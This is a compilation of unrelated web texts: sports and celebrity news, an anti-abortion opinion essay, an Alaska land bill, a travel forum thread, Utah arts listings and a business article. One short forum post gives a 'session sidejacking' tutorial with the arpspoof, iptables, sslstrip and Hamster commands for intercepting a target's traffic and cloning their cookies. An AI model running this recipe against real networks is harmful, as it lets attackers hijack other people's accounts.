With such ambiguity, it would help to go back to the, not legally binding, yet unspoken father of all our liberties, namely the Declaration of Independence. In Jefferson's words, it is self-evident "that all men are created equal, that they are endowed with certain unalienable Rights, that among these are Life, Liberty, and the Pursuit of Happiness." Immediately, the anti-abortion crowd would think 'Aha! See we're right!' and point out God's creatorship, scriptures that describe life in the womb, and the obvious glaring right to, well, Life. Yet, the problem is that the other two rights, Liberty and Pursuit of Happiness, are equally invoked by the pro-abortion group, since they say abortions are a liberty that is part of making them happy (and you would be 'anti-woman' to say otherwise).
What is self-evident, here, is that contrary to the Founders' rather simple and clear vision of what things are universally considered agreeable and essential, humanity has reached an age (or perhaps has re-entered an age) where things like Life and Liberty cannot be simultaneously sustained, or at least without being revised. Protecting the life of the unborn child means sacrificing the full 'liberty' of the mother to end the pregnancy, and protecting her right to do so sacrifices the unborn child. I ignore the abortion advocates' sophistry that they are not violating life, claiming the fetus isn't human— every fetus, if un-aborted, will become a human, and if a fetus that the mother wanted to keep terminates before delivery, it is considered a tragic loss (this is why in most cases criminals can be prosecuted for double homicide). There is no way around it: in the case of abortion, if we want to advance both Life and Liberty, we must redefine one or the other, or give up on one of them.
Clearly, we have to decide which of these two Rights is more essential in its current form. Notice the unforeseen implications in choosing undiminished Liberty. If abortion is a right of free society, that purely by a woman's decision, a potential human being can be considered no longer human (or not human enough to have a voice), isn't that a few steps away from saying we each have the right to decide whether a human remains human? Some argue this is extenuated by the intimate connection between a mother and fetus, but the option to carry the fetus to term and give it up for adoption counters that abortion is the selfish way out, especially when the high demand by infertile couples could benefit from those millions of abortions. When Life does not need to be sacrificed to absolve women of the inconvenience, when Life is amendable in the name of unrestricted Liberty, what bond keeps us from redefining Life, wherever it is, as an inconvenience to be removed? Justifying abortion in the name of Liberty opens up frightening consequences that make Liberty a very terrifying, rather than freeing, privilege.
It is a deeply ingrained flaw of American culture that we assume for ourselves all kinds of actions as our 'rights' without recognizing that Liberty is not an unchecked loosening of all restraint. Likewise, the Pursuit of Happiness is not unrestrained in the balance of preserving Life. The murderer certainly has no right, in our eyes, to spend his life outside jail (in some cases even to live) which means a very unhappy future for him. Yet, the same lack of respect for a class of human beings, who get in the way of our convenience, on the part of abortion is colored as an entitlement to which the law, so restrictive of the criminal, should give consent. We have lost the understanding of what our freedoms mean, of how they were fashioned by constructing the right boundaries, not simply let loose from English domain.
And the damage goes beyond whether abortion is constitutional. If, for the healthcare well-being of women, religious founders of companies must violate their personal beliefs, then every religious individual can thus be forcibly subjected to whatever the public decides is for the common good. If, to advance the civil rights of homosexual couples, pastors of churches or religious wedding photographers are forced, by law, to perform their services for weddings they believe are immoral, where will the invasion of public policy into citizens' faith end? There are priorities to freedom, and when they shift our true rights become endangered. If Americans do not realize what their true liberties are, that having rights necessitates preventing others' 'rights' to injure the former, then we shall surely lose all the unalienable, God-given freedoms our Founders fought to preserve.


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Linkin Park Play Surprise Warped Tour Set
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Linkin Park helped the Vans Warped Tour celebrate its 20th anniversary this weekend.
[WATCH: Linkin Park Celebrates 'The Hunting Party' with iHeartRadio Album Release Party]
The band played a surprise set during the traveling festival's stop in Ventura, California on Sunday. They treated fans to a seven-song setlist that ranged from early classics like "One Step Closer" to their latest single "Guilty All the Same" from their just-released album The Hunting Party.
[Buy The Hunting Party on iTunes]
To make it even more special, they invited a different Warped Tour performer to help them with each song. Some of the special guests included members of the Devil Wears Prada, Yellowcard, A Day to Remember, Finch, and more.
Check out the band's Warped Tour set list below:
1. "One Step Closer" - featuring Nate Barcalow of Finch
2. "New Divide" - featuring David Schmitt of Breathe Carolina
3. "Guilty All the Same" - featuring Mike Hranica and Jeremy DePoyster of The Devil Wears Prada
4. "Faint" - featuring Tyler Carter and Michael Bohn of Issues
5. "What I've Done" - featuring Ryan Key of Yellowcard
6. "A Place For My Head" - featuring Jeremy McKinnon of A Day to Remember
7. "Bleed It Out" - featuring Machine Gun Kelly
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Game 1 - Penn 2, George Washington 1
Box Score
In a true pitcher's duel, Connor Cuff came away with a 2-1 win in a seven-inning contest, negating a complete game from George Washington starter Luke Staub. Cuff limited the Colonials to only three hits in six innings of work, improving to 2-1 on the year in the process.
Penn jumped on top immediately in the top of the first inning. Brandon Engelhardt led off with a double to the gap in right-center and scored as Ryan Deitrich hit a one-out single into left for a 1-0 lead. That lead held up through two innings as Cuff sat down six straight to open the game.
The Quakers doubled their lead in the top of the third despite having two down and no one on base. Deitrich started the rally with a double into left field for his second hit of the day. That was followed with a Joey Greco single back up the middle that had the senior off on contact and in to score for the 2-0 lead.
Penn managed only one more hit following the third inning, but they had all the offense they needed. Cuff stranded one runner in the third inning and two in the fourth before working a perfect fifth inning. A hit batter in the sixth inning paved the way for a two-out double to cut the Quakers' lead in half at 2-1, but the sophomore escaped any further damage with a fly out to right to end the side.
Ronnie Glenn came on to pitch the final frame for Penn but immediately put a runner on by walking the lead-off hitter. GW put its man into scoring position with a sacrifice bunt, but Glenn put his foot down from there. The lefty finished off the game with consecutive strikeouts to give Penn the 2-1 win and pick up his fourth save of the season.
Game 2 - Penn 9, George Washington 2
Box Score
Cuff passed the torch onto Jeff McGarry in the second game of the afternoon for the Quakers. McGarry, a sophomore, earned his first career collegiate victory by allowing only two George Washington runs over eight innings as Penn established a big lead by the middle innings and cruised to the finish.
Colonials' starter Aaron Weisberg put the Red and Blue down in order in the first and second innings, but immediately ran into trouble in the third. Mitch Montaldo led off with a walk and then moved to second after Ryan Mincher reached on an error, the first of three for GW in the ballgame. A bunt single from Gary Tesch loaded the bags with no one out, and a rattled Weisberg then hit Engelhardt to give Penn a 1-0 lead. Mike Vilardo followed that up with a soft ground ball to second that brought Mincher in, but George Washington ended the Penn side with a double play off a hard-hit Deitrich line drive.
Deitrich returned the favor in the bottom of the third, initiating a double play off a putout in right field and throwing back to Branigan to double off Travers Nammack. The Penn offense then went back to work in the top half of the fourth inning, giving McGarry all the cushion he would need. Branigan hit a one-out single through the left side of the infield and moved on to third after an error by the catcher allowed Austin Bossart to reach. Singles from Montaldo and Tesch brought both Branigan and Bossart in for a 4-0 lead. With two men on and two men out, Engelhardt doubled them both home to extend the Quakers to a 6-0 edge.
The Colonials struck back for one run in the fifth inning, but Penn eliminated any doubt by tacking on three more in the seventh and eighth. Greco and Bossart each had RBI base hits in the seventh inning and Vilardo smoked a ground-rule double to left field in the top of the eighth to put the Quakers on top, 9-1. McGarry worked around a couple of hits in the eighth to allow only one more run before being lifted going into the ninth. John Beasley struck out the first batter of the ninth and then ended the game by inducing a 6-4-3 double play.
Vilardo led the Red and Blue at the plate in the second game, going 3-for-5 with two runs batted in. Engelhardt led Penn with three RBI in the contest, while Deitrich pushed his hitting streak to 12 games - at least one hit in every game this year - with a single in the seventh inning.
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Xavier, UC reach 10-year agreement to continue Crosstown Shootout, with rivalry returning to campuses
The 2014-2015 game will be played in February at UC's Fifth Third Arena | May 12, 2014
The University of Cincinnati and Xavier University announced that the schools have completed a 10-year agreement to continue the annual men's basketball rivalry between the two schools. In addition, the storied basketball rivalry will return to campus sites and renew the popular long-time title of Skyline Chili Crosstown Shootout.
"We are committed to providing our collective student-athletes and fan bases with the optimum collegiate environment on the national stage," Mike Bohn, UC's Director of Athletics said. "The on-campus venues will enhance the bond with students, alumni and community partners."
The annual XU-UC game has been sponsored by Skyline Chili for 25 years and was known from the 1989-1990 season through the 2011-2012 season as the Skyline Chili Crosstown Shootout. The game will return to that tradition this season, as Coach Chris Mack and Xavier Director for Athletics Greg Christopher explained in a videotaped interview on GoXavier.com.
The 2014-2015 edition of the Crosstown Shootout will be the 82nd all-time meeting in the series. It will be played Feb. 18, 2015, at UC's Fifth Third Arena. The 2015-2016 edition of the Crosstown Shootout will be played Dec. 12, 2015, at Xavier's Cintas Center.
The 2014-2015 game will be televised by ESPN2 as a part of the network's annual rivalry week. FOX Sports holds the rights to the 2015-2016 game.
"The Crosstown Shootout is our city's game," said Christopher. "It's an important part of Cincinnati's sports landscape and I'm glad its long-term future is secure. Returning the game to our campuses is an opportunity to re-set the Shootout in a positive light."
The 2014-2015 meeting will mark the 12th time that the game will be played at Fifth Third Arena. The 2015-2016 game will mark the seventh meeting at Cintas Center.
Starting with the 2014-2015 meeting at Fifth Third Arena, the annual game will be a part of the home institution's season ticket packages.


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Morley is a stunning storyteller, although Come Sunday should not be attempted without a Kleenex box at hand.
"The alternative is he's just getting old, his male hormone is getting down," Morley said.
Correspondent Morley Safer and Picard suggested that Mark, "of all the people that should have known… should have known."
Morley Safer has been a 60 Minutes correspondent since December 1970.
The younger members of the Cabinet agreed to leave the decision to Morley.
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Kevin Durant scored 42 points and Oklahoma City held off a fourth-quarter comeback by the Jazz as the Thunder opened the NBA season with a 101-98 victory over Utah on Wednesday night at EnergySolutions Arena.
Alec Burks lead Utah with 24 points. Derrick Favors added 15, but Reggie Jackson's two free throws with 11.1 points left proved to the the difference.
The Jazz got off to a quick start. They made their first three shots and all five starters scored in the opening 5 1/2 minutes.
Utah built a quick 18-12 lead, but Oklahoma City rallied to tie it, 29-29, behind 11 points by Durant and four in the final two minutes by Derek Fisher.
In the second quarter, the Thunder owned a 34-31 lead when Gordon Hayward picked up his third foul. Instead of falling back, however, Mike Harris came off the bench and started a 9-2 run that kept Utah in the game.
It was 57-48 lead at halftime.
Oklahoma City built a 79-64 lead late in the third quarter, but the Jazz held the Thunder without a field goal for over three minutes and trailed, 81-73, heading into the final 12 minutes.
In the fourth quarter, Utah got as close a 90-89 on a steal and dunk by Hayward with 4:34 left, but the Jazz could not overtake Oklahoma City.


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New Willow Smith video sparks controversy
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What is appropriate for a 12-year old girl to sing about? That's the question that is at the core of today's hottest Twitter topic. Willow Smith released a video for her new single "Summer Fling" and as soon as fans clicked 'play', many eyebrows rose. Is Willow too young to be singing about a "Summer Fling"?
In the new track Willow Smith is heard singing about a rather grown up love affair – leading fans to brand Summer Fling 'inapporiate'.
'It's just a couple months but we do it anyway', sings Willow in a way that makes us think this is a Rihanna song, in both tone and subject matter.
The lyrics continue: 'Don't really care what we do tonight. Good night kisses if the mood is right laying by the beach with you wishing this will never end.'
Adopting a faux British accent she says: 'Thanks for the summer fling. It was nice.'
In the video her 'boyfriend' seems to be much older than her as they embark on a fake summer love affair. And all of the other actors also seem to be much older than her.
In another somewhat racy scene Wilow is seen jumping on a trampoline with her female friends while her fake boyfriend picks her up off the ground.
One tweet from the Black Youth Project said: 'Smith's new single, "Summer Fling," has raised eyebrows due to its subject matter and accompanying video.


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What I have got to say is not the sort of thing for me to bawl about.
As soon as he came out of ether, he began to bawl for his mother.
Suppose they buck and pitch and sidestep and bawl and carry on?
I know I'd bawl my eyes out even if it does say there aren't any tears in heaven.
You all know her, and know it is not her wont to meddle in politics, or to bawl and bluster.
Is the young lady deaf that you want to bawl like a harbour-master?
She was driven to bawl out her words, and by no means liked the task.
He gave his orders in writing that he might not have to bawl to a deaf foreman.
For five minutes, I bawl at him a series of remarks, each and all of which he misunderstands.
Out in the big corrals the cattle were beginning to stir and bawl.
mid-15c., "to howl like a dog," from Old Norse baula "to low like a cow," and/or Medieval Latin baulare "to bark like a dog," both echoic. Meaning "to shout loudly" attested from 1590s. To bawl (someone) out "reprimand loudly" is 1908, American English. Related: Bawled; bawling.


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Rachael Dickhute from the fashion blog, Everything Hauler, will be joining Los Angeles designers Bri Seeley and Jennifer Lynn of LINDEN at their studios in downtowl LA for a night filled with fashion!
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Check Out Kelly Clarkson's Engagement Ring (And Get a Lookalike for Less!)
Kelly Clarkson got engaged over the weekend! Love her yellow canary diamond ring? We've got one for less!
-Lucia Peters
Guess who got engaged over the weekend? That's right: The original American Idol, Kelly Clarkson! Kelly's boyfriend of one year, talent manager (and Reba McEntire's stepson) Brandon Blackstock, popped the question on Saturday—and lucky us, we didn't even have to wait to see the engagement ring!
Kelly showed off her shiny new sparkler to the world just two and a half hours after announcing her engagement on Twitter. She first made the announcement at about 2pm EST:
And then followed up it up with this message and the WhoSay shot seen above at around 4:30pm EST:
As Kelly stated, the ring is a yellow canary diamond surrounded by a whole bunch of tiny white diamonds. Brandon went to celebrity jewelry designer Johnathon Arndt to make the ring a reality; he even helped design it himself. Gorgeous, no? We're particularly loving the canary diamond. Kelly isn't the first star to sport a colorful engagement ring—Halle Berry's fiancé, Olivier Martinez, went for an emerald for her instead of a white diamond, for example—but even so, we're totally onboard with the trend.
Read Score the Obama Gals' Holiday Looks for Less!
Love the look, but can't bear to think about how much it costs? Try this one on for size instead! This Arabella sterling silver ring ($300, currently on sale for $179, macys.com) features a cushion-cut yellow Swarovski zirconia surrounded by round-cut white Swarovski zirconia. It might not be a total deadringer for Kelly's gorgeous ring, but it's a pretty close second!
Will Johnathon Arndt be the one to design their wedding bands as well? Kelly certainly hopes so—at the tail end of the message she sent out with her WhoSay photo, she added, "I can't wait to make Brandon's ring with Johnathon as well!"
Best of luck to the happily engaged couple!
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|Alaska. Revocation of withdrawal order.
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Be it enacted by the Senate and House of Representatives of the United States of America in Congress assembled, That the withdrawal and reservation of the north half, section 33, township 28 south, range 56 east, Copper River meridian, near Klukwan, Alaska, by an order of the Secretary of the Interior dated April 27, 1943, for school, health, and other purposes, under the provisions of the Act of May 31, 1938(52 Stat. 593), is hereby revoked.
The reservation established by Executive Order Numbered 1764, dated April 21, 1913, and amended as to the boundaries thereof by Executive Order Numbered 3673, dated May 15, 1922, for the use of the natives of Alaska residing near the village of Klukwan, is hereby enlarged to include the north half of said section 33.
Said reservation, as so enlarged, may be leased for mining purposes by Chilkat Indian Village organized under the provisions of the Act of June 18, 1934 (48 Stat. 984), as amended by the Act of May 1, 1936 (49 Stat. 1250), with the approval of the Secretary of the Interior, in accordance with the provisions of the Act of May 11, 1938 (52 Stat. 347), as amended or supplemented.
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Nice video's g0tmi1k, thanks for taking the time and energy on making them for the community. They are always clear and right to the point, much appreciated!!
Watch video on-line: http://g0tmi1k.blip.tv/file/3288793
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This videos demos, how to "Session Sidejacking". Sidejacking is where you clone your targets cookies therefore your "sharing" their identity for that account (without ever knowing the username or password)!
What do I need?
> arpspoof
> sslstrip
> Hamster (and Ferret)
*all in BackTrack 4 Final*
Name: arpspoof (DSniff)
Version: 2.3
Home Page: http://www.monkey.org/~dugsong/dsniff/
Download Link: http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz
Name: sslstrip
Version: 0.6
Home Page: http://www.thoughtcrime.org/software...rip/index.html
Download Link: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz
Name: Hamster Sidejacking Tool
Version: 2.0
Home Page: http://hamster.erratasec.com/
Download Link: http://hamster.erratasec.com/downloa...er-2.0.0.tar.z
Code:echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i eth0 -t 192.168.1.104 192.168.1.1 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 sslstrip -p -k -f /pentest/sniffers/hamster/ferret -i eth0 /pentest/sniffers/hamster/hamster Konqueror -> Settings -> Configure Konqueror -> Proxy -> Manually. 127.0.0.1:1234 Konqueror -> http://hamster
Song: Soulwax - Bonkers (As Heard On Radio Soulwax Edit)
Video length: 2:39
Capture length: 3:42
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Thanksgiving Itinerary
I'm bored and getting tired of waiting, so I figured I'd throw my Thanksgiving trip plans up to see if anyone had any thoughts/suggestions, even though there is not much that can be changed at this point other than our plans in Munich.
11/19- Flying out- LCH-IAH-NYC-Heathrow, London
11/20, 8:30 AM - arriving at Heathrow Airport, London
- Taking the underground to a Bed and Breakfast to drop bags and try to fit as much of London in 1 day as we can. Goals- Harrods, Buckingham Palace, Millineum bridge, St. Pauls, a great place for fish and chips, Piccadilly circus, British Museum, ride the London Eye at sunset.
11/21, 9:30 AM - Chunnel to Paris. Drop bags, head to Eiffel Tower for lunch. See what else we can fit in for the rest of the day and next morning. Probably do a Hop on Hop of Bus tour.
11/22, 3:00 PM - Train to Munich
11/23- Pick up day. Pick up is scheduled for 4:30 PM. Our plan is to make it to the Welt around 11:00 and do the factory tour, then spend the rest of the day there until the pickup. (We finally decided that we aren't going to do any driving on this trip, we'll save that for our next ED (in the summer))
11/24,11/25- Just not sure yet. We've had plenty of great suggestions, but I'm just not sure how burnt out we'll be at this point. We might do a day trip to get out of the city (by train), we'll probably just go touring around the city these two days.
11/26, 5:00 PM- Fly to Amsterdam. Staying at one of the in-terminal hotels for the night.
11/27- Flying home. AMS-IAH-LCH
-I spent a summer in London about 10 years ago, but this will be my wife's first trip across the pond. I've never been to Germany.
-Flying into London was based more on using United Miles than anything else. We had 200,000 miles and were pretty hell bent on on getting a first class trip. London was what was available on the short notice (60 days) that we booked the trip on. We did discover that your international fees that you pay are based on which country you fly out of, and it is must cheaper to fly out of Germany than it is to fly out of most other countries.
-Please let me know anymore "Munich" things to do. Most trips I read about involve people getting out of town so they can drive their new ride.
-Just 13 more days! :D
Thanksgiving Itinerary
Thats a quick trip to hit so many big cities, but it sounds fun. A little advice on Germany- most everything closes on Sundays (except for some cafes and restaurants). So if you plan on doing any shopping in Munich, do it on Sat.
I've been to Munich a few times and would recommend going to some of the museums there (if museums are your thing). And a day trip to Salzburg is easy to do and possibly something to do on Sun. They have a large castle there thats interesting to visit. Also, the Christmas markets will be open in Austria before Germany (and those are open on Sunday) so it might be worth a visit.
Actually, you should be ok with most of the bigger museums being open on Sunday (including the BMW Museum). Its the stores (both for goods as well as food) that probably won't be open.
I worked in Germany about 10 years ago and have traveled back several times since, and I always factor in the closings on Sunday into my itineraries.
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text: With the 30 day timer of the plane distress signal closing in, Australian officials say that satellite imagery shows two unexplained pieces of debris that are much larger than a shipping container and could be wreckage from MH 370. They could also be nothing. They also might not be able to be found. The images were shot on Sunday but not discovered until a few days later. The debris is about a four hour flight from the coast of Australia and has probably moved a lot since the photos were taken. Still though, it is the only lead that investigators have right now so they are pursuing it. If they don't find the plane within the 30 days that the distress signal sends a signal then I don't know if they will ever find it. You would think that if it crashed over a week ago that some debris would have washed up somewhere on some piece of land by now. Then of course it could be on land in a hangar and be getting ready to be used as something else. My gut tells me it was crashed into the sea by the pilot but if he was doing it as revenge then why was there no note or something about his beliefs? That part doesn't make sense. That is why part of me thinks it might have been a hijacking that didn't make it to its final destination or that it did and we haven't heard anything.


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Fellowships for two photographers
Two Utah photographers will receive the 2013 Visual Arts Fellowship from the Utah Division of Arts & Museums.
• Christopher Gauthier, who teaches at Utah State University, is working on a series, "Evidence and Artifacts," which touches on "the impact of environmental insults on human health and development." A portion of that series, about autism, has been exhibited at Johns Hopkins University. "My hope is that the portraits will convey a sense of urgency about understanding what is causing the prevalence of autism spectrum disorder to rise so rapidly, and will humanize the statistics in a way that will move people to action," Gauthier said.
• Mark Finch Hedengren, from Provo, has been working on projects "that explore how and why people recreate in nature," including series about cliff jumpers and tent dwellers. His next project will focus on Utah's ski resorts.
The two were chosen from 66 applicants. Richard Roth, an artist who teaches at Virginia Commonwealth University, was juror. "The fact that both artists are photographers was not a factor in my selection; the urgency and insightfulness of their missions, however, was deemed highly relevant, necessary to today's world," Roth said.
Gauthier and Hedengren each will receive a $10,000 award, and a short documentary featuring each artist will be co-produced by Utah Arts & Museums and the visual arts magazine 15Bytes.com.
Art Meets History
"Art Meets History," a Utah Arts and Museums Traveling Exhibition Program exhibit, will be on view at Utah State University's Merrill-Cazier Library.
When • Monday-Saturday, March 11-16, 9 a.m.-6 p.m., Monday, March 18, 9 a.m.-6 p.m.
Where • Utah State UniversityMerrill-Cazier Library, 3000 Old Main Hill, Logan
Tickets • Free
Weaving a Revolution: Basket Blast
Join museum anthropologists and basket experts to explore the "Weaving a Revolution" exhibit, discover how Navajo baskets are made, learn more about the Navajo weavers, hear the story of the Navajo basket revolution, and learn about the museum's basket collection.
When • Wednesday, March 13, 2-2:30 p.m.
Where • Natural History Museum of Utah, Rio Tinto Center, 301 Wakara Way, Salt Lake City
Tickets • $11; Free with the price of admission
Ogden Arts Festival applications
Entries to participate in the 10th annual Ogden Arts Festival on June 7-8, are due March 15, 2013. Organizers are accepting applications for all art mediums including drawing, ceramics, paintings, photography, mixed mediums, sculpture and textile. Visit www.zapplication.org/apply.phtml to apply.
When • Friday, March 15, midnight
Where • Union Station, Ogden, 2501 Wall Ave., Ogden
Two Star exhibition
The Utah Watercolor Society will present the Two-Star & Signature Membership Exhibition "Breaking Through Something New" from March 14-April 12, 2013.
When • Thursday, March 14, 6-9 p.m., Friday-Saturday, March 15-16, 9 a.m.-6 p.m., Monday, March 18, 9 a.m.-6 p.m.
Where • Michael Berry Gallery, 163 E. 300 South, Salt Lake City
Tickets • Free
Signs and Scenes
The Utah Arts Festival Gallery will present "Signs and Scenes" with Kent Budge, Liza Julien, Stephanie Swift.
When • Friday, March 15, 6-9 p.m., Monday, March 18, 10 a.m.-5 p.m.
Where • Utah Arts Festival Gallery, 230 S. 500 West #120, Salt Lake City
Tickets • Free
Michael Kessler and Shawna Moore Exhibits
Gallery MAR will present the artwork of Michael Kessler and Shawna Moore. Kessler sculpts layers of acrylics on panel in his landscape-based abstract paintings.
When • Daily, March 15-18, 10 a.m.-9 p.m.
Where • Gallery MAR, 436 Main St., Park City
Ignacio Uriarte: Binaries
The Utah Museum of Contemporary Art will present "Ignacio Uriarte: Binaries," a survey about the workplace as a total medium.
When • Tuesday through Thursday, March 12-14, 11 a.m.-6 p.m., Friday, March 15, 11 a.m.-9 p.m., Saturday, March 16, 11 a.m.-6 p.m.
Where • Utah Museum of Contemporary Art, 20 S. West Temple, Salt Lake City
Tickets • Free
Art Roadshow
Williams Fine Art will host an "Art Roadshow" with specialists in art appraising, restoration, framing and art insurance who will offer free estimates and advice on participants artwork. For more information call 801-534-0331.
When • Friday, March 15, 5-9 p.m.
Where • Williams Fine Art, 200 E. South Temple # 100, Salt Lake City
Tickets • Free
David Meikle Exhibit
Evergreen Framing Company will feature 14 new pieces of artwork from David Meikle.
When • Friday, March 15, 6 p.m.-9 p.m.
Where • Evergreen Framing, 3295 S. 2000 East, Millcreek
Tickets • Free
Ana Prvacki: Neutralize Negative Feelings
The Utah Museum of Contemporary Art will present "Ana Prvacki: Neutralize Negative Feelings," an installation about etiquette.
When • Tuesday through Thursday, March 12-14, 11 a.m.-6 p.m., Friday, March 15, 6-8 p.m., Saturday, March 16, 11 a.m.-6 p.m.
Where • Utah Museum of Contemporary Art, 20 S. West Temple, Salt Lake City
Tickets • Free
Western photographs
The Utah Art and Environment Collaborative welcomes Robert Hall, whose photographs recall the vast solitude of the American West landscape.
When • Friday, March 15, 6-9 p.m.
Where • Artspace Commons, 800 S. 400 West, Salt Lake City
Tickets • Free
Jose Ostraff & Heidi Moller Somsen Exhibits
The Phillips Gallery will present the artwork ofJoe Ostraff and Heidi Moller Somsen. Visit www.phillips-gallery.com/index.html for information.
When • Friday, March 15, 6 p.m.-9 p.m., Saturday, March 16, 11 a.m.-4 p.m.
Where • Phillips Gallery, 444 E. 200 South, Salt Lake City
Tickets • Free
Cinematic exhibition
Central Utah Art Center will hold a group exhibition featuring artists who explore connections between film and 2-D media in visual art. Visit cuartcenter.org for information. Artist reception March 15, 2013 at 6 p.m.
When • Friday, March 15, 6 p.m.-9 p.m., Saturday, March 16, 12 p.m.-4 p.m.
Where • Central Utah Art Center, 175 E. 200 South, Salt Lake City
Tickets • Free


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OXFORD – Expanding internationally for the first time, mortgage technology company FNC is partnering with a Brazilian firm.
The move, announced Tuesday, will add 100 jobs in the next 12 to 18 months to FNC's headquarters in Oxford.
FNC, whose software is used by seven of the top 10 largest U.S. banks to evaluate mortgage applications, will convert its technology for Cetip for use in the Brazilian mortgage industry.
Cetip is Latin America's largest depository of fixed-income securities.
"They run the bond exchange for Brazil," said FNC CEO Bill Rayburn, nothing that Brazil is the world's sixth-largest economy. "There are about 1 million private mortgages a year versus 10 million in the U.S. There's lots of growth in Brazil."
Cetip also reads the country's automobile exchanges, giving the company a monopoly.
"We'll provide software to process applications for the banks in Brazil," Rayburn said. "We'll develop a national database. We think this is a long-term relationship – 15, 20, 30 years. … that will maybe double the size of this company."
Financial details of the deal were not disclosed.
Privately held FNC employs 310 people. Most work in Oxford, but the company also has satellite offices in New York, Dallas and southern California.
Since July, the company has hired 28 people and is looking for more.
Rayburn said FNC wants "dedicated and motivated" employees in science, technology, engineering and mathematics.
"We pay very well," he said, indicating employee salaries are comparable to those in Silicon Valley.
"We want this to be the next Austin, Texas," he said.
Attending the announcement, Gov. Phil Bryant lauded the FNC-Ceptip deal.
"As we expand our relationship and partnership in Latin America, often Brazil is seen as the driver," he said. "FNC is treading new ground. …this partnership is testament to the dedication and hard work of Bill and his team."
FNC processes about 600,000 evaluations a month in the U.S., and Rayburn expects the company's entry into Brazil will lead to a "significant increase in employees, revenues and profits" for the company.


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